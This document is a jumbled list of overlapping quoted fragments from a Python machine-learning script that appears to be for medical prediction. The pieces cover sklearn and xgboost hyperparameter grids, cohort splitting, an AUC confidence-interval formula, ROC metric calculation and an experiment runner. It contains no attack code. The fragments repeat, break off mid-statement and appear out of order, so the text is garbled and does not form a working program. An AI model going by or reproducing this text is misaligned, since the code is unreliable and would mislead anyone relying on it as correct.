"if return_all == False: res_df = pd.concat([pd.DataFrame({'y_true' : -1, 'y_pred':",
"0).sum() - res_df['TN'] res_df['sens'] = res_df.TP / (res_df.TP + res_df.FN)",
"[5,10], # 'max_features': [0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(), #",
"[500], # 'max_depth': [4], # 'learning_rate': [0.1], # \"reg_alpha\": [0,",
"print('\\n\\n' + 'STARTING EXPERIMENT FOR ' + RESULT_DIR + '\\n\\n')",
"data = data.drop(k, axis = 1) if drop == 'all':",
"data[data[k] == 0] if drop == 'some': data = data.drop(k,",
"sklearn.linear_model import LogisticRegression, Lasso from sklearn.neighbors import KNeighborsClassifier from sklearn.svm",
"'dt': (DecisionTreeClassifier(), {\"criterion\": [\"entropy\"], # \"max_depth\": [2, 3, 4, 5,",
"# 'rf': (RandomForestClassifier(), # {'n_estimators': [ 501, 1000, 2000, 4000],",
"== False: res_df = res_df[(res_df.y_pred.duplicated('last') == False)] return(res_df) def set_up_plot():",
"# \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [800], 'max_depth': [8], \"min_samples_split\":",
"test_ind_col = None, oversample_rate = 1, imputer = 'iterative', add_missing_flags",
"result_dir = RESULT_DIR) expt.predict_models_from_groups(0, models, cv=cv, score_name=score_name, mode='classification', oversample_rate =",
"{'n_estimators': [400, 500, 600], # 'max_depth': [7,8,9], # \"min_samples_split\": [5,10],",
"5], # 'max_features': ['auto', 0.5], # \"class_weight\": [None, \"balanced\"]}), #",
"as pd import scipy.stats as st #from medical_ML import Experiment",
"# \"reg_lambda\": [0.1, 1]}), # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [500],",
"\"balanced\" 'logreg': (LogisticRegression(), {\"class_weight\": [None], \"C\":[0.01,0.1, 1]}), #, \"balanced\" #",
"== 0).cumsum() res_df['FN'] = (res_df.y_true == 1).cumsum() if return_all ==",
"(DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0, 0.01), 'max_iter':",
"[10], # 'max_features': [0.25]}), # # 'xgb': (xgb.XGBClassifier(), # {'n_estimators':",
"\"splitter\": [\"best\", \"random\"], \"min_samples_split\": [2, 5, 10], \"min_samples_leaf\": [3, 5,",
"# {'n_estimators': [400], # 'learning_rate': [0.01], # 'max_depth': [5], #",
"[2, 5], # 'max_features': ['auto', 0.5], # \"class_weight\": [None, \"balanced\"]}),",
"{'n_estimators': [300, 400, 500], # 'learning_rate': [0.01, 0.003, 0.4], #",
"[501], # 'max_depth': [5], # \"min_samples_split\": [5], # 'max_features': ['auto'],",
"0.5, 0.75, # 1.0]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100,",
"self.data = self.data[self.data['year'] <= 2010] # self.data = self.data.drop(['year'], axis",
"# 'rf': (RandomForestClassifier(), # {'n_estimators': [400, 500, 600], # 'max_depth':",
"[0.1, 0.3], # \"reg_alpha\": [0, 1], # \"reg_lambda\": [0.1, 1]}),",
"False: res_df = res_df[(res_df.y_pred.duplicated('last') == False)] return(res_df) def set_up_plot(): #",
"!= 'agebl'): data = data.drop(k, axis = 1) # self.data",
"'log2', 0.5]}), } return(models_and_parameters) def load_models_and_parameters(): models_and_parameters = { 'dummy_reg':",
"elif to_exclude[k]: data = data[data[k] == 0] if drop ==",
"= '0.85', linewidth = 0.7) plt.grid(True, 'minor', color = \"0.92\",",
"['auto', 'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501], 'criterion': ['mae'], #",
"plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True) # ax.patch.set_facecolor(\"0.85\") def train_val(RESULT_DIR, alldata, models, label",
"'max_depth': [2,3,5], # 'subsample': [0.25, 0.5, 0.75, 1], # 'max_features':",
"\"balanced\" 'logreg': (LogisticRegression(), {}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\"",
"self.data = self.data.drop(['year'], axis = 1) if test_ind_col is not",
"# {'n_estimators': [501], # 'max_depth': [5], # \"min_samples_split\": [5], #",
"'learning_rate': [0.03, 0.01, 0.001], 'max_depth': [4,5,6,8], 'subsample': [0.85], 'max_features': [0.25,",
"add_missing_flags = add_missing_flags) expt.save_and_plot_results(models, cv = cv, test = False)",
"'lasso2': (LogisticRegression(penalty = 'l1'), # {}), 'elnet': (LogisticRegression(penalty = 'elasticnet',",
"[0.03, 0.01, 0.001], 'max_depth': [4,5,6,8], 'subsample': [0.85], 'max_features': [0.25, 0.5]}),",
"AUC + zsc * se_AUC) def load_models_and_parameters_default(): models_and_parameters = {",
"1) * (q1 - AUC * AUC) + (N2 -",
"'max_features': [0.25, 0.5], # \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [800],",
"[0.35, 0.7], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"\"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\" 'logreg': (LogisticRegression(), {\"class_weight\": [None],",
"0.5, ]}), # 'rf': (RandomForestClassifier(), # {}), # 'xgb': (xgb.XGBClassifier(),",
"label = label, to_exclude = to_exclude, test_ind_col = test_ind_col, drop",
"(se_AUC, AUC - zsc * se_AUC, AUC, AUC + zsc",
"{'n_estimators': [501], # 'max_depth': [3, 5, 10], # 'max_features': ['auto',",
"\"C\":[0.1]}), #, \"balanced\" 'logreg': (LogisticRegression(), {}), #, \"balanced\" # \"C\":[0.1]}),",
"pd.DataFrame({'y_true' : y_true, 'y_pred': y_pred}, columns = ['y_pred', 'y_true']) res_df",
"KNeighborsClassifier from sklearn.svm import SVC from sklearn import linear_model from",
"= 0.7) ax = plt.gca() plt.xlim([-0.05, 1.05]) plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True)",
"imputer = imputer, add_missing_flags = add_missing_flags) expt.save_and_plot_results(models, cv = cv,",
"['y_pred', 'y_true', 'TN', \"FN\"]), res_df], axis = 0) res_df['TP'] =",
"{\"C\":[0.001, 0.01,0.1, 1]}), 'lasso2': (LogisticRegression(penalty = 'l1',solver ='saga'), {}), 'elnet':",
"= 'some'): \"\"\" Load and clean the dataset \"\"\" if",
"[None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [200, 500, 1000], #",
"[0.03, 0.01, 0.001], # 'max_depth': [4,5,6,8], # 'subsample': [0.85], #",
"\"random\"], \"min_samples_split\": [2, 5, 10], \"min_samples_leaf\": [3, 5, 10, 15,",
"AUC * AUC) / (1 + AUC) numerator = AUC",
"'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\": [None]}), # 'rf':",
"[0.25, 0.5], # \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [800], 'max_depth':",
"(LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.01,0.1, 1]}), #, \"balanced\" #",
"\"min_samples_leaf\": [3, 5, 10, 15, 20], \"random_state\": [817263]}), 'svm': (SVC(),",
"/ (1 + AUC) numerator = AUC * (1 -",
"'learning_rate': [0.1, 0.3], # \"reg_alpha\": [0, 1], # \"reg_lambda\": [0.1,",
"# 'max_features': ['auto'], # \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), #",
"FOR ' + RESULT_DIR + '\\n\\n') expt = Experiment(alldata, label",
": -1, 'y_pred': -1, \"TN\": 0, \"FN\":0}, index = [-1],",
"+ res_df.spec - 1 # remove predictions which represent non-separable",
"to_exclude is not None: for k in to_exclude.keys(): if k",
"split_cohort(datafile, to_exclude = None, test_ind_col = None, drop = 'some'):",
"1], \"l1_ratio\":[0.01, 0.1, 0.5, 0.9, 0.99]}), 'dt': (DecisionTreeClassifier(), {\"criterion\": [\"entropy\"],",
"3, 4, 5, 10, 20], # None \"max_depth\": [1, 2,",
"['auto', 'sqrt', 'log2']}), 'dummy': (DummyClassifier(), {\"strategy\": [\"most_frequent\"]}), # 'logreg': (LogisticRegression(),",
"(RandomForestClassifier(), # {'n_estimators': [200, 500, 1000], # 'max_depth': [4, 6,",
"(2 - AUC) q2 = (2 * AUC * AUC)",
"'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501], 'criterion': ['mae'], # 'loss': ['ls',",
"\"min_samples_split\": [10], # 'max_features': [0.25]}), # # 'xgb': (xgb.XGBClassifier(), #",
"# 'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}), 'gbm':",
"= None, test_ind_col = None, drop = 'some'): \"\"\" Load",
"DecisionTreeClassifier from sklearn.linear_model import LogisticRegression, Lasso from sklearn.neighbors import KNeighborsClassifier",
"0.3, 1,5, 10]}), #, \"balanced\" # 'logreg': (LogisticRegression(), # {\"class_weight\":",
"(KNeighborsClassifier(), {'n_neighbors': [2, 3, 5, 10, 20, 50], 'weights': ['uniform',",
"[400, 500, 600], # 'max_depth': [7,8,9], # \"min_samples_split\": [5,10], #",
"[0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [25, 50, 75, 100,",
"== 0).sum() - res_df['TN'] res_df['sens'] = res_df.TP / (res_df.TP +",
"from sklearn.svm import SVC from sklearn import linear_model from sklearn.ensemble",
"# 'subsample': [0.75, # 1], # 'max_features': ['sqrt', 'log2', 0.25,",
"[0.1, 10]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [200, 300], #",
"= (res_df.y_true == 0).sum() - res_df['TN'] res_df['sens'] = res_df.TP /",
"N2, ci = 0.95): # from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc = st.norm.ppf(1",
"'max_depth': [5, 7, 9, 11, 13], # \"min_samples_split\": [2], #",
"to_exclude = None, test_ind_col = None, drop = 'some'): \"\"\"",
"= None if to_exclude is not None: for k in",
"(RandomForestClassifier(), # {'n_estimators': [600], # 'max_depth': [9], # \"min_samples_split\": [10],",
"\"reg_alpha\": [0, 10], # \"reg_lambda\": [0.1, 10]}), # 'gbm': (GradientBoostingClassifier(),",
"axis = 1) # self.data = self.data[self.data['year'] <= 2010] #",
"'max_features': [0.25]}), # # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [100,500], #",
"is not None: test_data = data[data[test_ind_col] == 1] test_data =",
"'learning_rate': [0.01], # 'max_depth': [3,4,5], # 'subsample': [0.35, 0.7], #",
"'lasso2': (LogisticRegression(penalty = 'l1', solver ='saga'), {\"C\":[0.001, 0.01,0.1, 1]}), #",
"(xgb.XGBClassifier(), # {}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600], #",
"[800], 'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\": [None]}), #",
"# {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 300,",
"(res_df.TP + res_df.FN) res_df['spec'] = res_df.TN / (res_df.TN + res_df.FP)",
"{ 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0,",
"# {\"class_weight\": [None], # \"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\"",
"'logreg': (LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.01,0.1, 1]}), #, \"balanced\"",
"# \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [ 501,",
"{'C': [ 1], 'kernel': ['linear']}), #'poly', 'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors':",
"0) res_df['TP'] = (res_df.y_true == 1).sum() - res_df['FN'] res_df['FP'] =",
"[0.01], # 'max_depth': [3,4,5], # 'subsample': [0.35, 0.7], # 'max_features':",
"/ (res_df.TP + res_df.FP) res_df['accuracy'] = (res_df.TP + res_df.TN) /",
"oversample_rate = 1, imputer = 'iterative', add_missing_flags = True): from",
"['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}), # 'gbm': (GradientBoostingClassifier(),",
"# 9], # 'subsample': [0.75, # 1], # 'max_features': ['sqrt',",
"'loss': ['ls', 'lad'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt',",
"- zsc * se_AUC, AUC, AUC + zsc * se_AUC)",
"https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc = st.norm.ppf(1 - (1-ci)/2.) q1 = AUC /",
"models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha':",
"# 'lasso2': (LogisticRegression(penalty = 'l1'), # {}), 'elnet': (LogisticRegression(penalty =",
"res_df = pd.concat([pd.DataFrame({'y_true' : -1, 'y_pred': -1, \"TN\": 0, \"FN\":0},",
"[None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [400, 500, 600], #",
"[5], # \"min_samples_split\": [5], # 'max_features': ['auto'], # \"class_weight\": [None]}),",
"0.3], # \"reg_alpha\": [0, 1], # \"reg_lambda\": [0.1, 1]}), #",
"import DecisionTreeClassifier from sklearn.linear_model import LogisticRegression, Lasso from sklearn.neighbors import",
"RandomForestRegressor, GradientBoostingRegressor from sklearn.dummy import DummyRegressor def split_cohort(datafile, to_exclude =",
"[0, 1], # \"reg_lambda\": [0.1, 1]}), # 'xgb': (xgb.XGBClassifier(), #",
"xgboost as xgb from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier from sklearn.dummy",
"xgb from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier from sklearn.dummy import DummyClassifier",
"[0.85], # 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"[1, 2, 3, 4], # None \"splitter\": [\"best\", \"random\"], \"min_samples_split\":",
"\"balanced\"]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [5],",
"N1 * N2 se_AUC = np.sqrt(numerator / denom) return (se_AUC,",
"'y_true', 'TN', \"FN\"]), res_df], axis = 0) res_df['TP'] = (res_df.y_true",
"data.drop(test_ind_col, axis = 1) return(data, test_data) def calc_auc_conf_interval(AUC, N1, N2,",
"equal) if return_all == False: res_df = res_df[(res_df.y_pred.duplicated('last') == False)]",
"50], 'weights': ['uniform', 'distance']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501],",
"test_ind_col = None, drop = 'some'): \"\"\" Load and clean",
"= None, oversample_rate = 1, imputer = 'iterative', add_missing_flags =",
"{'n_estimators': [100, 200, 400, 800], # 'learning_rate': [0.03, 0.01, 0.001],",
"/ (res_df.TP + res_df.FN) res_df['spec'] = res_df.TN / (res_df.TN +",
"# \"min_samples_split\": [2, 5], # 'max_features': ['auto', 0.5], # \"class_weight\":",
"'subsample': [0.35, 0.7], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), #",
"\"FN\"]), res_df], axis = 0) res_df['TP'] = (res_df.y_true == 1).sum()",
"plt.grid(True, 'major', color = '0.85', linewidth = 0.7) plt.grid(True, 'minor',",
"[ 501, 1000, 2000, 4000], # 'max_depth': [5, 7, 9,",
"'max_depth': [2, 3, 4, 5, 6, 7, # 9], #",
"0.05), 'max_iter': [10000]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), # {\"C\":[0.001,",
"400, 800], # 'learning_rate': [0.03, 0.01, 0.001], # 'max_depth': [4,5,6,8],",
"& (k != 'agebl'): data = data.drop(k, axis = 1)",
"# 'rf': (RandomForestClassifier(), # {}), # 'xgb': (xgb.XGBClassifier(), # {}),",
"(res_df.y_true == 1).cumsum() if return_all == False: res_df = pd.concat([pd.DataFrame({'y_true'",
"sklearn import linear_model from sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor from sklearn.dummy",
"(RandomForestClassifier(), {'n_estimators': [500, 1000], 'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25],",
"(GradientBoostingClassifier(), # {'n_estimators': [100, 200, 400, 800], # 'learning_rate': [0.03,",
"[0.85], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [25,",
"/ (2 - AUC) q2 = (2 * AUC *",
"if to_exclude is not None: for k in to_exclude.keys(): if",
"[50, 100, 501, 1000], # 'max_depth': [3,5,7], # \"min_samples_split\": [2,",
"'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def calc_metrics(y_true, y_pred, return_all =",
"remove predictions which represent non-separable decision points (i.e., y_pred is",
"True): from medical_ML import Experiment print('\\n\\n' + 'STARTING EXPERIMENT FOR",
"'lasso': (Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), #",
"# 'max_depth': [3,4,5], # 'learning_rate': [0.1, 0.3], # \"reg_alpha\": [0,",
"(q1 - AUC * AUC) + (N2 - 1) *",
"# {'n_estimators': [500], # 'max_depth': [4], # 'learning_rate': [0.1], #",
"AUC) q2 = (2 * AUC * AUC) / (1",
"1], # 'max_features': [None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def",
"['y_pred', 'y_true']) res_df = res_df.sort_values(by = 'y_pred') res_df['TN'] = (res_df.y_true",
"'y_pred') res_df['TN'] = (res_df.y_true == 0).cumsum() res_df['FN'] = (res_df.y_true ==",
"res_df['FP'] = (res_df.y_true == 0).sum() - res_df['TN'] res_df['sens'] = res_df.TP",
"# 'logreg': (LogisticRegression(), # {}), #, \"balanced\" # # \"C\":[0.1]}),",
"== 0] if drop == 'some': data = data.drop(k, axis",
"to_exclude.keys(): if k == 'race': data = data[data[k].isin(to_exclude[k])] elif k",
"'subsample': [0.85], 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"10], 'max_features': ['auto', 'sqrt', 'log2']}), 'dummy': (DummyClassifier(), {\"strategy\": [\"most_frequent\"]}), #",
"[3, 5, 10], # 'max_features': ['auto', 'sqrt', 'log2']}), # 'rf':",
"'TN', \"FN\"]), res_df], axis = 0) res_df['TP'] = (res_df.y_true ==",
"1) data = data[data[test_ind_col] == 0] data = data.drop(test_ind_col, axis",
"= res_df.TP / (res_df.TP + res_df.FP) res_df['accuracy'] = (res_df.TP +",
"# \"max_depth\": [2, 3, 4, 5, 10, 20], # None",
"='saga'), {\"C\":[0.001, 0.01,0.1, 1]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), #",
"[3,5,7], # \"min_samples_split\": [2, 5], # 'max_features': ['auto', 0.5], #",
"(res_df.y_true == 0).sum() - res_df['TN'] res_df['sens'] = res_df.TP / (res_df.TP",
"- 1 # remove predictions which represent non-separable decision points",
"test_data) def calc_auc_conf_interval(AUC, N1, N2, ci = 0.95): # from",
"'max_features': ['auto', 0.5], # \"class_weight\": [None, \"balanced\"]}), # 'rf': (RandomForestClassifier(),",
"# 'max_depth': [5, 7, 9, 11, 13], # \"min_samples_split\": [2],",
"{'n_estimators': [100,500], # 'max_depth': [3,4,5], # 'learning_rate': [0.1, 0.3], #",
"y_pred}, columns = ['y_pred', 'y_true']) res_df = res_df.sort_values(by = 'y_pred')",
"1,5, 10]}), #, \"balanced\" # 'logreg': (LogisticRegression(), # {\"class_weight\": [None],",
"N2 se_AUC = np.sqrt(numerator / denom) return (se_AUC, AUC -",
"None, oversample_rate = 1, imputer = 'iterative', add_missing_flags = True):",
"= 'elasticnet', solver = 'saga'), {\"C\":[0.001, 0.01,0.1, 1], \"l1_ratio\":[0.01, 0.1,",
"{'n_estimators': [400, 600], # 'learning_rate': [0.01], # 'max_depth': [5, 6],",
"'weights': ['uniform', 'distance']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], #",
"{\"class_weight\": [None], # \"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\" 'logreg':",
"'w', linewidth = 0.7) plt.grid(True, 'major', color = '0.85', linewidth",
"= 2 * res_df.PPV * res_df.sens / (res_df.PPV + res_df.sens)",
"1]}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'logreg': (LogisticRegression(), {}),",
"[2, 3, 5, 10, 20, 50], 'weights': ['uniform', 'distance']}), #",
"# \"reg_alpha\": [0, 1], # \"reg_lambda\": [0.1, 1]}), # 'xgb':",
"== 1).sum() - res_df['FN'] res_df['FP'] = (res_df.y_true == 0).sum() -",
"= ['y_pred', 'y_true']) res_df = res_df.sort_values(by = 'y_pred') res_df['TN'] =",
"{'n_estimators': [100, 200, 300, 500, 1000, 2000, # 4000], #",
"== False)] return(res_df) def set_up_plot(): # plt.grid(True, 'major', color =",
"= res_df[(res_df.y_pred.duplicated('last') == False)] return(res_df) def set_up_plot(): # plt.grid(True, 'major',",
"# {'n_estimators': [300, 400, 500], # 'learning_rate': [0.01, 0.003, 0.4],",
"[10], 'max_features': [0.25], \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators':",
"= 'iterative', add_missing_flags = True): from medical_ML import Experiment print('\\n\\n'",
"AUC - zsc * se_AUC, AUC, AUC + zsc *",
"\"balanced\" # 'logreg': (LogisticRegression(), # {}), #, \"balanced\" # #",
"[4], # 'learning_rate': [0.1], # \"reg_alpha\": [0, 10], # \"reg_lambda\":",
"'gbm': (GradientBoostingClassifier(), {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200,",
"= label, to_exclude = to_exclude, test_ind_col = test_ind_col, drop =",
"1]}), 'lasso2': (LogisticRegression(penalty = 'l1',solver ='saga'), {}), 'elnet': (LogisticRegression(penalty =",
"* AUC) / (1 + AUC) numerator = AUC *",
"'learning_rate': [0.03, 0.01, 0.001], # 'max_depth': [4,5,6,8], # 'subsample': [0.85],",
"0.5, 0.75, 1], # 'max_features': [None, 'sqrt', 'log2', 0.5]}), }",
"'lasso': (Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), 'lasso2':",
"y_pred is equal) if return_all == False: res_df = res_df[(res_df.y_pred.duplicated('last')",
"(LogisticRegression(), {}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(),",
"'agebl': data = data[data[k] >= to_exclude[k]] elif to_exclude[k]: data =",
"6], # 'subsample': [0.85], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(),",
"add_missing_flags = True): from medical_ML import Experiment print('\\n\\n' + 'STARTING",
"import DummyRegressor def split_cohort(datafile, to_exclude = None, test_ind_col = None,",
"[0.25]}), # # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [100,500], # 'max_depth':",
"#, \"balanced\" # 'logreg': (LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.01,0.1,",
"# \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [200, 500,",
"2 * res_df.PPV * res_df.sens / (res_df.PPV + res_df.sens) res_df['youdens_index']",
"datafile test_data = None if to_exclude is not None: for",
"res_df['youdens_index'] = res_df.sens + res_df.spec - 1 # remove predictions",
"Experiment(alldata, label = label, to_exclude = to_exclude, test_ind_col = test_ind_col,",
"axis = 1) data = data[data[test_ind_col] == 0] data =",
"1]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), # {}), 'elnet': (LogisticRegression(penalty",
"{\"C\":[0.001, 0.01,0.1, 1], \"l1_ratio\":[0.01, 0.1, 0.5, 0.9, 0.99]}), 'dt': (DecisionTreeClassifier(),",
"1 # remove predictions which represent non-separable decision points (i.e.,",
"# 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 400, 800], #",
"[0.25], \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [400, 500,",
"(GradientBoostingRegressor(), {'n_estimators': [501], 'criterion': ['mae'], # 'loss': ['ls', 'lad'], 'max_depth':",
"numpy as np import pandas as pd import scipy.stats as",
"'l1',solver ='saga'), {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver = 'saga'),",
"\"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [400, 500, 600],",
"'gbm': (GradientBoostingClassifier(), # {'n_estimators': [25, 50, 75, 100, 200], #",
"elif k == 'agebl': data = data[data[k] >= to_exclude[k]] elif",
"13], # \"min_samples_split\": [2], # 'max_features': ['sqrt', 0.25, 0.5, 0.75,",
"# 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [500], # 'max_depth': [4], #",
"'max_depth': [4,5,6,8], 'subsample': [0.85], 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(),",
"(i.e., y_pred is equal) if return_all == False: res_df =",
"AUC) denom = N1 * N2 se_AUC = np.sqrt(numerator /",
"'l1', solver ='saga'), {\"C\":[0.001, 0.01,0.1, 1]}), # 'lasso2': (LogisticRegression(penalty =",
"k == 'agebl': data = data[data[k] >= to_exclude[k]] elif to_exclude[k]:",
"[None], # \"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\"",
"'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {}), # 'gbm':",
"'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(),",
"{\"C\":[0.001, 0.01,0.1, 1]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), # {}),",
"\"\"\" if isinstance(datafile, str): data = pd.read_csv(datafile) else: data =",
"[\"most_frequent\"]}), # 'logreg': (LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.1, 0.3,",
"# \"min_samples_split\": [10], # 'max_features': [0.25]}), # # 'xgb': (xgb.XGBClassifier(),",
"# {}), #, \"balanced\" # # \"C\":[0.1]}), #, \"balanced\" 'lasso':",
"/ (res_df.TN + res_df.FP) res_df['PPV'] = res_df.TP / (res_df.TP +",
"import LogisticRegression, Lasso from sklearn.neighbors import KNeighborsClassifier from sklearn.svm import",
"# 'max_features': [0.25, 0.5], # \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators':",
"color = 'w', linewidth = 0.7) plt.grid(True, 'major', color =",
"# 'learning_rate': [0.01], # 'max_depth': [5], # 'subsample': [0.75], #",
"# None \"max_depth\": [1, 2, 3, 4], # None \"splitter\":",
"- res_df['TN'] res_df['sens'] = res_df.TP / (res_df.TP + res_df.FN) res_df['spec']",
"'major', color = 'w', linewidth = 0.7) plt.grid(True, 'major', color",
"'race': data = data[data[k].isin(to_exclude[k])] elif k == 'agebl': data =",
"= True): from medical_ML import Experiment print('\\n\\n' + 'STARTING EXPERIMENT",
"{'n_estimators': [800], 'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\": [None]}),",
"[None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [ 501, 1000, 2000,",
"= 0.95): # from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc = st.norm.ppf(1 - (1-ci)/2.)",
"'l1'), # {\"C\":[0.001, 0.01,0.1, 1]}), 'lasso2': (LogisticRegression(penalty = 'l1',solver ='saga'),",
"'rf_reg': (RandomForestRegressor(), {'n_estimators': [501], 'criterion': ['mae'], 'max_depth': [3, 5, 10],",
"[\"entropy\"], # \"max_depth\": [2, 3, 4, 5, 10, 20], #",
"'rf': (RandomForestClassifier(), # {'n_estimators': [200, 500, 1000], # 'max_depth': [4,",
"# 'learning_rate': [0.01, 0.003, 0.4], # 'max_depth': [5, 6, 7],",
"= 'all', result_dir = RESULT_DIR) expt.predict_models_from_groups(0, models, cv=cv, score_name=score_name, mode='classification',",
"zsc * se_AUC, AUC, AUC + zsc * se_AUC) def",
"'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}), 'gbm': (GradientBoostingClassifier(),",
"= (res_df.TP + res_df.TN) / (res_df.shape[0]) res_df['f1_score'] = 2 *",
"'subsample': [0.75], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"'\\n\\n') expt = Experiment(alldata, label = label, to_exclude = to_exclude,",
"0.05), 'max_iter': [10000]}), 'lasso2': (LogisticRegression(penalty = 'l1', solver ='saga'), {\"C\":[0.001,",
"0.5]}), 'gbm': (GradientBoostingClassifier(), {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100,",
"res_df[(res_df.y_pred.duplicated('last') == False)] return(res_df) def set_up_plot(): # plt.grid(True, 'major', color",
"import KNeighborsClassifier from sklearn.svm import SVC from sklearn import linear_model",
"[0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400, 600], #",
"{'n_estimators': [25, 50, 75, 100, 200], # 'max_depth': [2,3,5], #",
"medical_ML import Experiment import matplotlib.pyplot as plt import xgboost as",
"cv = 5, score_name = \"AUC\", to_exclude = None, test_ind_col",
"200, 400, 800], # 'learning_rate': [0.03, 0.01, 0.001], # 'max_depth':",
"np.sqrt(numerator / denom) return (se_AUC, AUC - zsc * se_AUC,",
"return (se_AUC, AUC - zsc * se_AUC, AUC, AUC +",
"Experiment import matplotlib.pyplot as plt import xgboost as xgb from",
"== 'race': data = data[data[k].isin(to_exclude[k])] elif k == 'agebl': data",
"[0.75, # 1], # 'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75,",
"# 'subsample': [0.35, 0.7], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(),",
"{'n_estimators': [50, 100, 501, 1000], # 'max_depth': [3,5,7], # \"min_samples_split\":",
"* N2 se_AUC = np.sqrt(numerator / denom) return (se_AUC, AUC",
"501, 1000, 2000, 4000], # 'max_depth': [5, 7, 9, 11,",
"points (i.e., y_pred is equal) if return_all == False: res_df",
"'Label', cv = 5, score_name = \"AUC\", to_exclude = None,",
